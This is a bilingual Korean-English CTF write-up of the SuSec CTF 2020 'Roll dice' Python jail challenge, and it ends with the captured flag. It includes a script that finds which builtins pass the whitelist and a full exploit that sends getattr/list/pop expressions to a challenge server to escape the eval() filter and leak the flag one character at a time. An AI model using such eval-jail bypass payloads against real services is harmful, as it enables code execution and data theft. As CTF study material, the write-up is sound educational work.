write-ups/CTF

SuSec CTF 2020 'Roll dice' write-up

2020. 3. 20. 00:14

 

KyungHee University Global Campus (2020.03.19.)

 

 

 CTF 도중에는 어떻게 푸는지 정말 감을 못잡아서 결국엔 끝날 때까지 못풀었는데, CTF가 끝나고 Defenit 팀에서 어떻게 푸는 문제인지 알려주어서 나중에야 풀 수 있었다.

 

 해당 문제에서는 소스를 제공해주는데, Python 이기도 하고 무엇보다 eval() 을 통해서 사용자로부터 입력된 표현식을 실행시키는 방식이기 때문에 Python Jail임을 확신했다.

 

I couldn't solve this challenge during the CTF, but I resolved later with the help of the Defenit team. Thanks to team Defenit. I was sure that it is a sort of 'Python Jail' because of eval() function to execute 'expr' which is entered by users.

 

 

source.tar.gz
0.00MB

 

 

 이 문제에서는 화이트리스트 방식으로 여과 과정을 거친다. 가용한 문자들을 통해서 쓸 수 있는 가젯을 찾는 코드를 작성했는데 아래와 같다.

 

 It uses the whitelist-filter, so I wrote some codes to find available builtin functions.

 

#!/usr/bin/python3
# coding: utf-8
# get_available_functions.py

functions = dir(__builtins__)
filters = set(['7', 'o', '(', '6', 'a', '4', 'n', '1', ',', 'i', '-', '+', 's', '0', 'g', 'd', '3', 'e', '5', 'l', 'v', '2', 't', '*', 'r', ')', '8', '9'])

def main():
    for function in functions:
        available = True
        for c in function:
            if c not in filters:
                available = False
        if available is True:
            print(function)

if __name__ == '__main__':
    main()

 

 

 

 

 eval(), getattr(), setattr(), dir() 은 Python Jail에서 가장 중요한 요소 중 하나임으로 출제자의 인성이 그렇게 나쁘지 않다는 것을 알 수 있다. CTF 도중에는 대괄호의 우회에만 쭉 집중하는 바람에 문제를 크게 보지 못한 것이 조금 아쉽다.

 

 We can use  eval(), getattr(), setattr(), dir() function. These useful functions are the key of the Python Jail Challenge. It's a pity that I couldn't approach the problem differently during CTF because I focused all the way on the bypass of the square brackets.

 

index.py 에서 제일 위를 보면 title과 title1을 볼 수 있다. title은 그렇다치고, title1은 서비스 자체에서는 쓸모가 없는 변수였는데 해당 문제를 풀기 위해서는 가장 중요한 연계 포인트였다.

 


 If you look at the top of index.py, you can see title and title1. I thought that title1 is a useless variable in the Roll Dice service, but it was the most important linking point to solve the challenge.

 

 

 

 

 가용한 함수 중에는 getattr() 함수가 있었는데, 이 함수와 title1 변수를 함께 사용하면 list 형의 변수에서 pop() 메소드를 사용할 수 있다. 그렇다면 str 객체를 list()로 리스트화 시키고 pop() 함수를 사용할 때 대괄호를 우회할 수 있게 되는 것이다. -> getattr(list(str(1)), 'pop')() 


 Among the available functions was the getattr() function. If this function and title1 variable are used together, the pop() method can be used in the list object. Then you can list the str object with list () and bypass the square brackets when using the pop() function.

 위의 방식을 이용한 최종 페이로드는 다음과 같다.

 

 Final code

 

#!/usr/bin/python3
# coding: utf-8
# get_flag.py

import requests as req
import json
import time


def get_char(index):
    url = 'http://69.90.132.70:5100/roll'
    data = {
        'expr': 'roll(ord(eval(getattr(list(str(dir(1))),title1)(135)+getattr(list(str(dir(1))),title1)(52)+getattr(list(str(dir(1))),title1)(26)+getattr(list(str(dir(1))),title1)(191)+getattr(list(str(dir(1))),title1)(0)+str({0})+getattr(list(str(dir(1))),title1)())))'.format(index)
    }
    while True:
        r = req.post(url, data=data)
        if r.status_code == 200:
            break
        else:
            time.sleep(1)
    json_res = json.loads(r.text)
    return chr(json_res['value'])


def main():
    flag = ''
    for i in range(100):
        flag += get_char(i)
        print('[+] leaked flag (until {0}) :'.format(i), flag)
    print('[*] flag :', flag)


if __name__ == '__main__':
    main()

 

[*] FLAG : SUSEC{COL0RFUL_DR4G0NS_EV3RYONE_ROLL_INITIATIVE}